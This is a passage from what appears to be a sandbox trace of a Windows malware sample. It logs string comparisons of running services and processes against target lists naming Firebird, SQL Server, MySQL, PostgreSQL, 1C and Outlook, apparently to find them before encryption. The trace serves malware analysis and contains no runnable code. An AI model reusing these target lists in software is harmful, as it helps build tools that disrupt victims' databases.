(lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0063.548] lstrlenW (lpString="PcaSvc") returned 6 [0063.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0063.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0063.548] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0063.548] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0063.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0063.548] lstrlenW (lpString="PlugPlay") returned 8 [0063.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0063.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0063.549] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0063.549] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0063.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0063.549] lstrlenW (lpString="Power") returned 5 [0063.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0063.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0063.549] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0063.549] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0063.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0063.549] lstrlenW (lpString="ProfSvc") returned 7 [0063.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0063.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0063.549] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0063.549] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0063.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0063.549] lstrlenW (lpString="RpcEptMapper") returned 12 [0063.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0063.550] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0063.550] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0063.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0063.550] lstrlenW (lpString="RpcSs") returned 5 [0063.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0063.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0063.550] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0063.550] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0063.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0063.550] lstrlenW (lpString="SamSs") returned 5 [0063.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0063.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0063.550] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0063.551] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0063.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0063.551] lstrlenW (lpString="Schedule") returned 8 [0063.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0063.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0063.551] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0063.551] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0063.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0063.551] lstrlenW (lpString="SENS") returned 4 [0063.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0063.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0063.551] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0063.551] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0063.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0063.551] lstrlenW (lpString="ShellHWDetection") returned 16 [0063.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0063.552] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0063.552] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0063.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0063.552] lstrlenW (lpString="Spooler") returned 7 [0063.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0063.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0063.552] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0063.552] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0063.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0063.552] lstrlenW (lpString="SysMain") returned 7 [0063.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0063.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0063.552] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0063.552] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0063.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0063.552] lstrlenW (lpString="Themes") returned 6 [0063.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0063.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0063.553] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0063.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0063.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0063.553] lstrlenW (lpString="TrkWks") returned 6 [0063.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0063.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0063.553] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0063.553] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0063.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0063.553] lstrlenW (lpString="UxSms") returned 5 [0063.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0063.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0063.553] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0063.553] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0063.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0063.554] lstrlenW (lpString="WdiServiceHost") returned 14 [0063.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0063.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0063.555] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0063.555] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0063.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0063.555] lstrlenW (lpString="WdiSystemHost") returned 13 [0063.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0063.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0063.555] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0063.555] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0063.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0063.555] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0063.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0063.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0063.556] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0063.556] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0063.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0063.556] lstrlenW (lpString="Winmgmt") returned 7 [0063.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0063.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0063.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0063.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0063.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0063.556] lstrlenW (lpString="WPDBusEnum") returned 10 [0063.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0063.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0063.556] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0063.556] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0063.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0063.557] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x621268 | out: hHeap=0x5d0000) returned 1 [0063.559] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0065.790] Process32FirstW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0065.791] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0065.793] lstrlenW (lpString="System") returned 6 [0065.793] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0065.793] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0065.793] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0065.793] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0065.793] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0065.793] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0065.793] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0065.793] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0065.794] lstrlenW (lpString="smss.exe") returned 8 [0065.794] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0065.794] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0065.794] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0065.794] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0065.795] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0065.795] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0065.795] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0065.795] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.796] lstrlenW (lpString="csrss.exe") returned 9 [0065.796] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0065.796] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0065.796] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0065.796] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0065.796] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0065.796] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0065.796] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0065.796] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0065.797] lstrlenW (lpString="wininit.exe") returned 11 [0065.797] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0065.797] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0065.798] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0065.798] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0065.798] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0065.798] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0065.798] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0065.798] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.799] lstrlenW (lpString="csrss.exe") returned 9 [0065.799] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0065.799] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0065.799] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0065.799] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0065.799] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0065.799] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0065.799] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0065.799] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0065.801] lstrlenW (lpString="winlogon.exe") returned 12 [0065.801] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0065.801] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0065.801] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0065.801] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0065.801] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0065.801] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0065.801] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0065.801] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0065.802] lstrlenW (lpString="services.exe") returned 12 [0065.802] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0065.802] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0065.802] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0065.802] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0065.802] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0065.802] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0065.802] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0065.803] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0065.803] lstrlenW (lpString="lsass.exe") returned 9 [0065.804] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0065.804] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0065.804] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0065.804] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0065.804] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0065.804] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0065.804] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0065.804] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0065.805] lstrlenW (lpString="lsm.exe") returned 7 [0065.805] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0065.805] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0065.805] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0065.805] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0065.805] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0065.805] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0065.805] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0065.805] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.806] lstrlenW (lpString="svchost.exe") returned 11 [0065.806] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0065.806] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0065.807] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0065.807] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0065.807] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0065.807] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0065.807] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0065.807] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.808] lstrlenW (lpString="svchost.exe") returned 11 [0065.808] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0065.808] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0065.808] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0065.808] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0065.808] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0065.808] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0065.808] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0065.809] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.810] lstrlenW (lpString="svchost.exe") returned 11 [0065.810] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0065.810] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0065.810] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0065.810] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0065.810] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0065.810] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0065.810] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0065.810] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.811] lstrlenW (lpString="svchost.exe") returned 11 [0065.811] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0065.812] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0065.812] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0065.812] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0065.812] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0065.812] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0065.812] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0065.812] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.813] lstrlenW (lpString="svchost.exe") returned 11 [0065.813] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0065.813] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0065.813] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0065.813] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0065.813] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0065.813] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0065.813] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0065.813] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0065.814] lstrlenW (lpString="audiodg.exe") returned 11 [0065.814] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0065.814] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0065.815] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0065.815] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0065.815] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0065.815] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0065.815] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0065.815] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.864] lstrlenW (lpString="svchost.exe") returned 11 [0065.865] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0065.865] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0065.865] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0065.865] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0065.865] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0065.865] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0065.865] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0065.865] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.866] lstrlenW (lpString="svchost.exe") returned 11 [0065.866] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0065.866] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0065.866] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0065.867] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0065.867] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0065.867] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0065.867] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0065.867] Process32NextW (in: hSnapshot=0x118, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0065.868] lstrlenW (lpString="dwm.exe") returned 7 [0065.868] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1 [0065.868] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1 [0065.868] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1 [0065.868] lstrcmpiW (lpString1="postgres.exe", lpString2="dwm.exe") returned 1 [0065.869] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dwm.exe") returned 1 [0065.869] lstrcmpiW (lpString1="mysqld.exe", lpString2="dwm.exe") returned 1 [0065.869] lstrcmpiW 